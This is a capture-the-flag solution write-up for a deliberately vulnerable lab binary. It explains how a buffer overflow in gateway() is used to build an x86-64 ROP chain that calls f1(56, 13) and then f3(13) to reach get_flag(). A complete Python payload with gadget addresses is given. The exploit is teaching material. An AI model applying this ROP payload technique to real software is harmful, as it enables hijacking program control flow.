Solution

By using the buffer overflow in gateway(), functions f1(56, 13) and f3(13) need to be called in this order, with those exact parameters. f3 is the one that actually calls get_flag(). Calling get_flag() directly shouldn’t work (a global variable is checked to make sure all steps were made).

x86-64 (64-bit) Solution

In x86-64, function parameters are passed through registers:

  • First parameter: RDI
  • Second parameter: RSI

We need a ROP (Return-Oriented Programming) chain to:

  1. Call f1(56, 13) by setting RDI=56 and RSI=13
  2. Call f3(13) by setting RDI=13

The code includes gadget functions that provide the necessary ROP gadgets:

  • gadget_pop_rdi: Contains pop rdi; ret at 0x4013dd
  • gadget_pop_rsi: Contains pop rsi; ret at 0x4013ea

The exploit payload structure:

[18 bytes padding] +
[pop rdi; ret] + [56] +        # Set RDI = 56
[pop rsi; ret] + [13] +        # Set RSI = 13
[f1 address] +                 # Call f1(56, 13)
[pop rdi; ret] + [13] +        # Set RDI = 13
[f3 address]                   # Call f3(13)

Run the exploit:

./exploit.sh | ./buff-ovf3

Or using Python:

python3 -c 'import sys; sys.stdout.buffer.write(
    b"A"*18 +
    b"\xdd\x13\x40\x00\x00\x00\x00\x00" +
    b"\x38\x00\x00\x00\x00\x00\x00\x00" +
    b"\xea\x13\x40\x00\x00\x00\x00\x00" +
    b"\x0d\x00\x00\x00\x00\x00\x00\x00" +
    b"\x6c\x13\x40\x00\x00\x00\x00\x00" +
    b"\xdd\x13\x40\x00\x00\x00\x00\x00" +
    b"\x0d\x00\x00\x00\x00\x00\x00\x00" +
    b"\x16\x13\x40\x00\x00\x00\x00\x00"
)' | ./buff-ovf3